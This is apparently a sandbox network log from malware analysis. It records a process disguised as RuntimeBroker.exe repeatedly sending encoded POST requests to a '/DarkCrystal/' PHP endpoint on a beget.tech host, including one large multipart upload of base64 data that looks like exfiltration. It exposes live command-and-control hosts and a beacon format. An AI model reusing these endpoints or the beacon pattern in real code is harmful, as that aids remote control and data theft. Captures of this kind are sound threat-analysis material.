Nov 9, 2024 22:23:24.337045908 CET	2536	OUT	Data Raw: 55 57 5c 5a 53 5d 5e 52 5d 5d 54 54 54 55 5b 50 56 50 5f 5e 5b 52 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UW\ZS]^R]]TTTU[PVP_^[RZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'2& ^)Z"$Z3 #X(= 0% ['<(^'2./'Y&%[($
Nov 9, 2024 22:23:24.932502031 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:24.983766079 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49939	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:25.104535103 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:25.461900949 CET	2544	OUT	Data Raw: 55 5b 5c 5e 56 59 5b 5d 5d 5d 54 54 54 53 5b 50 56 5a 5f 59 5b 5c 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[\^VY[]]]TTTS[PVZ_Y[\Z\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'-#()X"-<3^!.8*+0$Z%,<(&>"[:'Y&%[(0
Nov 9, 2024 22:23:26.014816999 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:26.067126989 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49946	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:26.683592081 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:27.039994955 CET	2544	OUT	Data Raw: 55 57 5c 58 56 5c 5e 51 5d 5d 54 54 54 5c 5b 55 56 58 5f 5c 5b 52 5a 5c 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UW\XV\^Q]]TTT\[UVX_\[RZ\V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"0!67;5_"<33_!= Z=8#_360$?,+^'B%--/'Y&%[(
Nov 9, 2024 22:23:27.619134903 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:27.678153992 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49952	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:27.261698008 CET	294	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 540 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:27.618150949 CET	540	OUT	Data Raw: 50 50 59 52 53 5c 5b 55 5d 5d 54 54 54 5d 5b 53 56 5d 5f 59 5b 50 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PPYRS\[U]]TTT][SV]_Y[PZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]"'T1 5_"-8Z0<7 -<_*('0& X0(<+ &X!:'Y&%[(
Nov 9, 2024 22:23:28.190398932 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:28.253062963 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:28.253758907 CET	317	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----E9OQPRFbOIOdvhgRDkcCdlHQov95ij6XIK User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 180538 Expect: 100-continue
Nov 9, 2024 22:23:28.543401003 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:28.543704987 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 39 4f 51 50 52 46 62 4f 49 4f 64 76 68 67 52 44 6b 63 43 64 6c 48 51 6f 76 39 35 69 6a 36 58 49 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------E9OQPRFbOIOdvhgRDkcCdlHQov95ij6XIKContent-Disposition: form-data; name="0"Content-Type: text/plainUUY_S][Q]]TTTR[UV__[[VZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]
Nov 9, 2024 22:23:28.548675060 CET	4944	OUT	Data Raw: 4d 57 30 72 57 43 74 31 64 54 56 61 53 6b 49 32 4f 57 46 55 59 55 39 34 63 44 6c 32 52 57 73 32 55 57 73 7a 62 48 42 44 4f 58 68 6b 52 7a 42 6e 61 6d 31 61 64 7a 42 7a 64 55 5a 50 4d 47 4a 56 53 55 67 7a 62 44 56 4b 53 46 64 78 56 56 59 35 59 6e Data Ascii: MW0rWCt1dTVaSkI2OWFUYU94cDl2RWs2UWszbHBDOXhkRzBnam1adzBzdUZPMGJVSUgzbDVKSFdxVVY5YnlxaFdlTGNRZHlianVRZzR3Y2dEUDBKcm9qWHBPWHM0dlZITFBEVjFEMnNsbytwWUtta3hTcTRZWlVnajJOT0xjYzFzYytveWlwMGdTUm9JaGMycVhkeXU2M3RIZGhMS08yTUtWRzdzR1lFL2lNMVpaRmgwVzAxWm1
Nov 9, 2024 22:23:28.548743010 CET	9888	OUT	Data Raw: 62 55 63 7a 64 48 70 61 63 32 77 7a 52 45 6b 72 53 53 39 4e 57 6d 78 6b 51 32 6c 30 61 7a 64 59 64 31 45 79 4d 32 74 6b 56 47 35 71 57 6b 56 4e 57 43 39 42 52 48 6c 55 4c 33 5a 72 56 58 4a 33 65 48 6c 45 52 48 68 78 64 7a 6c 34 56 56 56 7a 62 32 Data Ascii: bUczdHpac2wzREkrSS9NWmxkQ2l0azdYd1EyM2tkVG5qWkVNWC9BRHlUL3ZrVXJ3eHlERHhxdzl4VVVzb2pUYWFscXY4QUszNUZWczlsVlhMS0N0L3diL21aMTIwT3A2bk5CcUZ4RGFOYTNyM0ZySzhuMmlHZUpralRETkR2dytJMVBBSTVJT01ETWNVT25YZHN0bXVvMmtMVytwVFRiWklwZ0pVYU9KUVZLeHNPcU45N0I2Y0N
Nov 9, 2024 22:23:28.548845053 CET	9888	OUT	Data Raw: 52 58 52 79 54 47 4e 32 53 46 6c 58 59 79 39 33 51 58 6c 48 57 54 52 72 62 56 56 6a 61 32 39 75 56 57 70 49 59 7a 52 49 55 47 56 79 52 43 39 45 4d 31 52 76 4f 56 56 48 62 56 41 30 62 32 6c 58 4f 45 31 76 61 55 56 55 56 30 56 76 54 7a 52 75 51 55 Data Ascii: RXRyTGN2SFlXYy93QXlHWTRrbVVja29uVWpIYzRIUGVyRC9EM1RvOVVHbVA0b2lXOE1vaUVUV0VvTzRuQUdlbk9SejByVDhXZU5ialE5WTFiVDlQdEJEcVVtMkdmVURNWElRS1BsaVhBOHRmei9BRHdSK2JmVjVVdmVyS3kvTS9lSlppc1UvWllLU2N1cjdiZC9YejlEWDhWK1BmRDJsNnZhV2RucGs5NU5vcDh1M0tYSmhoall
Nov 9, 2024 22:23:28.553669930 CET	2472	OUT	Data Raw: 56 58 5a 68 59 33 59 33 65 6d 5a 35 55 45 6c 78 4b 33 6b 31 64 6a 4e 57 4e 32 56 5a 4d 55 64 68 4d 30 39 49 62 6c 64 4c 56 7a 68 72 4f 48 5a 54 65 6b 74 6f 53 56 4d 33 51 32 74 44 55 55 68 4a 51 55 46 35 52 6e 6c 6a 61 6d 4d 32 62 69 74 42 4d 56 Data Ascii: VXZhY3Y3emZ5UElxK3k1djNWN2VZMUdhM09IbldLVzhrOHZTektoSVM3Q2tDUUhJQUF5RnljamM2bitBMVR0OUQxcXowQ043YlM5Vk43cUN0QzBxV2pzTGFFSEVoSkNuRE9RVjlkdTcrOEtrbDA2MW1rTWtrWVpqM05WMDBPeWlZc2lNcFBmTmViV3dGV2RTVWxKV2x2NkwrdFQxNkdaMGFkS01IRjNqdDZ2L0xvUWEzSGNSK0Z
Nov 9, 2024 22:23:28.553694963 CET	2472	OUT	Data Raw: 5a 7a 55 72 64 45 64 57 55 46 5a 6d 65 58 42 30 52 6b 46 44 4b 31 64 77 4b 7a 59 7a 4e 54 42 33 65 45 31 50 4d 7a 56 56 4e 30 35 4c 52 30 6c 76 63 30 64 77 52 56 46 6c 4c 30 5a 4b 56 53 73 76 55 46 56 42 4d 47 68 57 52 44 64 56 63 6b 51 31 61 55 Data Ascii: ZzUrdEdWUFZmeXB0RkFDK1dwKzYzNTB3eE1PMzVVN05LR0lvc0dwRVFlL0ZKVSsvUFVBMGhWRDdVckQ1aUhGSlVwaS91a0dtRldIVUdpdzdqYUtLS0xGQ1VVVVVBSlJTMGxNWWhvcGFLUUNZcEtXaWdZM0ZCcGFLQUVvb29vR0pSUlJUR0ZKUzBsQXhLUTB0RkFDVVVVVURFb3BhU21BbEpUcVR2UU1iUjNwYUtReERTVXRGTVl
Nov 9, 2024 22:23:28.553730011 CET	7416	OUT	Data Raw: 51 56 6b 78 4b 31 46 4e 55 55 39 55 4c 30 46 4b 54 6d 51 72 63 33 46 32 53 44 4a 4a 53 58 4a 35 4d 31 56 30 52 57 34 77 4e 55 4a 4a 4d 30 31 4d 53 47 46 79 53 47 63 31 4b 32 78 69 62 6d 68 44 5a 6d 52 32 5a 32 70 32 53 6b 35 35 52 45 78 58 4f 47 Data Ascii: QVkxK1FNUU9UL0FKTmQrc3F2SDJJSXJ5M1V0RW4wNUJJM01MSGFySGc1K2xibmhDZmR2Z2p2Sk55RExXOG95TWYza1BiM0h2V3ZFdUJoajZUemFoVjVvMlN0WjZXOCttdmRkVHJ5L0txZUF3Nm94bGQ3dDJ0Zjh4ZFo4TnZIZWI3SlFZcE1rSjZOMTJqOE00L0wwcm1zWU9EWHB3bEQ0VmgwSS9PdUo4VFdxMjJzeUZCaFpsRWd
Nov 9, 2024 22:23:28.553740978 CET	2472	OUT	Data Raw: 62 31 42 51 52 6b 64 4e 5a 45 74 52 65 45 4e 4e 4d 47 67 31 52 6b 39 4a 62 30 4a 76 51 57 4a 70 61 6e 52 54 4e 58 68 36 55 30 68 75 63 6a 4e 76 51 54 63 32 61 57 6c 70 63 31 51 31 57 57 68 58 4f 45 35 32 59 57 46 76 4e 48 56 6b 54 6e 52 77 53 54 Data Ascii: b1BQRkdNZEtReENNMGg1Rk9Jb0JvQWJpanRTNXh6U0hucjNvQTc2aWlpc1Q1WWhXOE52YWFvNHVkTnRwSTVyVkVtdjdZektBd2x5b0Fqa0lKMmpuSGJyVmVDNWlFSzNWN2V3Ulc2V0UxOHpXOW1NN1Z1UEt3TUZkMlNjak9NZE9CUmQyRDNMT25tS0xlUjBrbGpLZzdtVE8wNXhuamMzNTFUbTBpNmtKalc4QzJwdDJ0Zks4dGN
Nov 9, 2024 22:23:28.553857088 CET	19776	OUT	Data Raw: 63 44 45 78 4e 54 4a 75 65 57 5a 69 56 30 6f 77 4d 30 67 79 52 55 31 76 53 57 64 33 4d 6a 52 5a 52 30 39 6d 62 54 55 31 65 6a 5a 6b 53 32 46 33 5a 55 78 30 64 6a 59 76 62 6d 59 31 4d 69 39 4e 57 44 6c 76 57 55 51 72 57 44 41 77 4d 6a 5a 58 4b 31 Data Ascii: cDExNTJueWZiV0owM0gyRU1vSWd3MjRZR09mbTU1ejZkS2F3ZUx0djYvbmY1Mi9NWDlvWUQrWDAwMjZXK1YzK0E3U2RabDFhV0JyMjJzMGFMWExTM1JvYmRJeExISzdCbzJWUUZQQzV5Um5xT2xOazFOcFYxV1I3blNienliRjNpYXl0ZkpFYmVmRXZJTVNmTmdubm52elNTMkY5Y1QyczhsMURISmFUaTVnVzN0bzRVV1VZTzh
Nov 9, 2024 22:23:29.404261112 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:29.411128044 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2196 Expect: 100-continue
Nov 9, 2024 22:23:29.714920998 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:30.067924976 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 5b 28 2a 25 1d 23 5f 2e 1d 29 08 32 0a 2b 2d 3e 02 31 30 23 05 3f 3c 00 00 28 13 27 57 35 03 0f 05 30 02 35 58 22 1f 28 1e 25 30 2b 5a 01 1c 26 1d 3c 2e 3c 56 24 38 03 08 24 09 25 5f 37 06 27 5c 25 37 2f 10 26 1c 17 11 2a 23 20 55 38 31 07 58 28 3e 2b 08 32 31 26 1d 34 35 2a 55 03 12 23 52 2a 3e 24 08 25 2d 02 0e 2b 22 27 06 22 2e 0d 5a 21 02 27 00 33 28 05 5c 2c 33 3b 03 25 30 3f 59 3f 31 37 5d 23 05 3d 1a 30 10 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #[(%#_.)2+->10#?<('W505X"(%0+Z&<.<V$8$%_7'\%7/&# U81X(>+21&45U#R>$%-+"'".Z!'3(\,3;%0?Y?17]#=0#P-#H?\V
Nov 9, 2024 22:23:30.286153078 CET	398	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Keep-Alive: timeout=30 Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Data Raw: 03 1a 23 5b 28 2a 25 1d 23 5f 2e 1d 29 08 32 0a 2b 2d 3e 02 31 30 23 05 3f 3c 00 00 28 13 27 57 35 03 0f 05 30 02 35 58 22 1f 28 1e 25 30 2b 5a 01 1c 26 1d 3c 2e 3c 56 24 38 03 08 24 09 25 5f 37 06 27 5c 25 37 2f 10 26 1c 17 11 2a 23 20 55 38 31 07 58 28 3e 2b 08 32 31 26 1d 34 35 2a 55 03 12 23 52 2a 3e 24 08 25 2d 02 0e 2b 22 27 06 22 2e 0d 5a 21 02 27 00 33 28 05 5c 2c 33 3b 03 25 30 3f 59 3f 31 37 5d 23 05 3d 1a 30 10 23 50 2d 0d 23 48 05 3f 5c 56 Data Ascii: #[(%#_.)2+->10#?<('W505X"(%0+Z&<.<V$8$%_7'\%7/&# U81X(>+21&45U#R>$%-+"'".Z!'3(\,3;%0?Y?17]#=0#P-#H?\V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49956	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:27.819813967 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:28.165007114 CET	2544	OUT	Data Raw: 55 55 5c 58 53 5d 5b 50 5d 5d 54 54 54 50 5b 55 56 5c 5f 53 5b 52 5a 58 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UU\XS][P]]TTTP[UV\_S[RZXV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!0!>#(.#>%/7X!>7=$38Y'<<(;?&*-'Y&%[(<
Nov 9, 2024 22:23:28.736243010 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:28.785718918 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49964	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:28.915121078 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:29.274383068 CET	2544	OUT	Data Raw: 55 5b 59 59 56 5f 5b 50 5d 5d 54 54 54 57 5b 56 56 5a 5f 5a 5b 57 5a 57 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: U[YYV_[P]]TTTW[VVZ_Z[WZWV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!^316"+9X!.[0/47#=;80&8[0/?Y(+'%.!.'Y&%[(
Nov 9, 2024 22:23:29.841289997 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:29.905710936 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49970	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:30.028306007 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:30.383825064 CET	2544	OUT	Data Raw: 55 55 59 53 53 5d 5e 51 5d 5d 54 54 54 51 5b 5a 56 59 5f 5e 5b 53 5a 56 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UUYSS]^Q]]TTTQ[ZVY_^[SZVV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!315D ^6=70<47X;);7'%([$/(?E%-/'Y&%[(8
Nov 9, 2024 22:23:31.242916107 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:31.242970943 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
Nov 9, 2024 22:23:31.243035078 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49976	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:31.370168924 CET	271	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue
Nov 9, 2024 22:23:31.727510929 CET	2544	OUT	Data Raw: 50 55 59 58 53 58 5b 53 5d 5d 54 54 54 56 5b 55 56 5f 5f 5c 5b 57 5a 59 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: PUYXSX[S]]TTTV[UV__\[WZYV]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!'#!!(X33[ ='=;''C/%<,<8%.),/'Y&%[($
Nov 9, 2024 22:23:32.281913042 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:32.339632034 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49982	185.50.25.59	80	7732	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 9, 2024 22:23:32.611404896 CET	295	OUT	POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: b902470r.beget.tech Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Nov 9, 2024 22:23:32.961848021 CET	2544	OUT	Data Raw: 55 55 5c 5e 56 56 5b 51 5d 5d 54 54 54 5c 5b 50 56 5e 5f 5e 5b 52 5a 5f 56 5d 5f 5c 56 5c 5c 57 5c 5c 50 55 5f 59 52 5b 5a 54 5f 5b 5b 56 54 5d 52 54 5f 45 42 5c 5a 50 5d 5d 54 5c 59 56 5f 56 5d 5e 41 5f 5d 41 51 5f 5b 53 46 57 43 52 5f 55 51 50 Data Ascii: UU\^VV[Q]]TTT\[PV^_^[RZ_V]_\V\\W\\PU_YR[ZT_[[VT]RT_EB\ZP]]T\YV_V]^A_]AQ_[SFWCR_UQP_XV_YG^PP_^QP[UYYYWXYP]_\UUU^Y__UQZYZS_XX]TT_XY_]\VUX[[Z[Q_]YURP_GUT_^YU_\TVZ_C^ZB_]_W_ZVUZ\RWYT[Z^\^]!02#%5X<3X7'*7^3%?%?/+('D$="_.'Y&%[(
Nov 9, 2024 22:23:33.572700977 CET	25	IN	HTTP/1.1 100 Continue
Nov 9, 2024 22:23:33.637028933 CET	225	IN	HTTP/1.1 200 OK Server: nginx-reuseport/1.21.1 Date: Sat, 09 Nov 2024 21:23:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Keep-Alive: timeout=30 X-Powered-By: PHP/7.4.33 Data Raw: 31 52 5a 56 Data Ascii: 1RZV
